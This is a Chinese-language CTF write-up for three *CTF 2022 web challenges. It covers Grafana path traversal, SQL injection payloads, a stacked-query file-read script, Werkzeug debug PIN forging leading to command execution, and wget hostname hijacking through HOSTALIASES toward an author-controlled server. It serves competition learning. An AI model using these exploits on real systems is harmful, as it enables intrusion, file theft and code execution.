*CTF 2022

Web

oh-my-grafana

根据版本号可以找到 CVE-2021-43798 进行目录穿越读文件。下载现成的 POC 把插件排除一下可以查出默认的用户名密码。

使用用户名密码登录上系统,可以发现在 Data Source 处有 MySQL 数据库。从 Explore 功能里构造 time 写语句即可查出 flag。

seLect/**/group_concat(tablE_nAme), 1 as time/**/frOm/**/infOrmation_schEma.tablEs/**/whEre/**/table_schema=databAse()

seLect/**/group_concat(column_nAme), 1 as time/**/frOm/**/infOrmation_schEma.columns/**/whEre/**/table_schema=databAse()

seLect/**/flag, 1 as time/**/frOm/**/fffffflllllllllaaaagggggg
*ctf{Upgrade_your_grafAna_now!}

oh-my-notepro

/view 路由下包含未捕捉的错误,可以导致 Werkzeug Console 的出现。从报错中可以获得部分源码。

@login_required
def view():
    note_id = request.args.get("note_id")
    sql = f"select * from notes where note_id='{note_id}'"
    print(sql)
    result = db.session.execute(sql, params={"multi": True})
    db.session.commit()

    result = result.fetchone()
    data = {
        'title': result[4],
        'text': result[3],
    }
    return render_template('note.html', data=data)

SQL 注入读取文件

尝试 SQL 注入,可以读出表中的内容,但是没有权限读出 mysql 表中的内容,结合有人拿权限可知目的是 RCE。

load data local infile

For a LOCAL load operation, the client program reads a text file located on the client host. Because the file contents are sent over the connection by the client to the server, using LOCAL is a bit slower than when the server accesses the file directly. On the other hand, you do not need the FILE privilege, and the file can be located in any directory the client program can access.

从 MySQL 8 的文档中能发现不需要文件权限的读文件操作语句。因此尝试用其进行任意文件读取,从而进行控制台 PIN 的伪造。

def readfile(filename: str, session: requests.Client) -> str:
    id = str(uuid.uuid1()).replace("-", "")
    paramsGet = {"note_id":f"null';create/**/table/**/{id}(cmd/**/text)\x23"}
    response = session.get("/view", params=paramsGet)
    paramsGet = {"note_id":f"null';load/**/data/**/local/**/infile/**/'{filename}'/**/into/**/table/**/{id}/**/fields/**/terminated/**/by/**/'\\n'\x23"}
    response = session.get("/view", params=paramsGet)
    paramsGet = {"note_id":f"0' union select 1,2,3,4,(select group_concat(concat_ws(0x7e,cmd)) from {id})\x23"}
    response = session.get("/view", params=paramsGet)
    print(response.text.split('<h1 style="text-align: center">')[1].split("</h1>")[0].strip())
    return response.text.split('<h1 style="text-align: center">')[1].split("</h1>")[0].strip()

PIN 计算

从 werkzeug 项目的记录中可以发现 PIN 的生成算法有过细微的更改。

所以能够找到的大部分脚本需要修订。

def pin(username: str, modename: str, classname: str, filename: str, mac: str, machineid: str) -> str:

    probably_public_bits = [
        username,
        modename,
        classname,
        filename
    ]

    private_bits = [
        str(int(mac.replace(":", ""), 16)), 
        machineid
    ]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    return rv

配合任意文件读取获取所需的内容后把 PIN 算出即可使用控制台获取 flag。

__import__("os").popen("/readflag").read()

*ctf{exploit_Update_with_Version}

oh-my-lotto

下载附件审计源码可以发现一个文件上传,保存为 /app/guess/forecast.txt。同时在通过如下 check 的情况下可以设置环境变量。

def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True

设定好环境变量后执行如下逻辑。

try:
    os.system('wget --content-disposition -N lotto')

    if os.path.exists("/app/lotto_result.txt"):
        lotto_result = open("/app/lotto_result.txt", 'rb').read()
    else:
        lotto_result = 'result'
    if os.path.exists("/app/guess/forecast.txt"):
        forecast = open("/app/guess/forecast.txt", 'rb').read()
    else:
        forecast = 'forecast'

    if forecast == lotto_result:
        return flag
    else:
        message = 'Sorry forecast failed, maybe lucky next time!'
        return render_template('lotto.html', message=message)
except Exception as e:
    message = 'Lotto Error!'
    return render_template('lotto.html', message=message)

环境变量劫持主机名解析

Stack Exchange: https://unix.stackexchange.com/questions/10438/can-i-create-a-user-specific-hosts-file-to-complement-etc-hosts

wget 处采用了 hostname 的方式,此时只要劫持到 lotto 即可实现任意文件下载。因此设置环境变量如下。

HOSTALIASES=/app/guess/forecast.txt

将文件内容设置如下。

lotto lottod.lemonprefect.cn

此时 lotto 的解析即可被劫持到 lottod.lemonprefect.cn。将如下 nginx 反代配置好。

server
    {
        listen 80;
        #listen [::]:80;
        server_name lottod.lemonprefect.cn lotto;
        index index.html index.htm index.php default.html default.htm default.php;
        root  /home/wwwroot/lottod.lemonprefect.cn;
        location /
        {
                proxy_pass http://localhost:8068;
        }
        location ~ /.well-known {
            allow all;
        }
        location ~ /\.
        {
            deny all;
        }
        access_log  /home/wwwlogs/lottod.lemonprefect.cn.log;
    }

在对应端口运行如下程序。

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
    r = "lotto lottod.lemonprefect.cn"
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=8068)

即可同时达成劫持与内容相等,获得 flag。

*ctf{its_forecast_0R_GUNICORN}

WGET 任意选项控制

wget 允许使用文件 .wgetrc 来控制其行为,环境变量 WGETRC 可以控制文件的位置和名称。配合解析劫持即可达成任意文件下载。

https://www.gnu.org/software/wget/manual/wget.html#Startup-File

results matching ""

    No results matching ""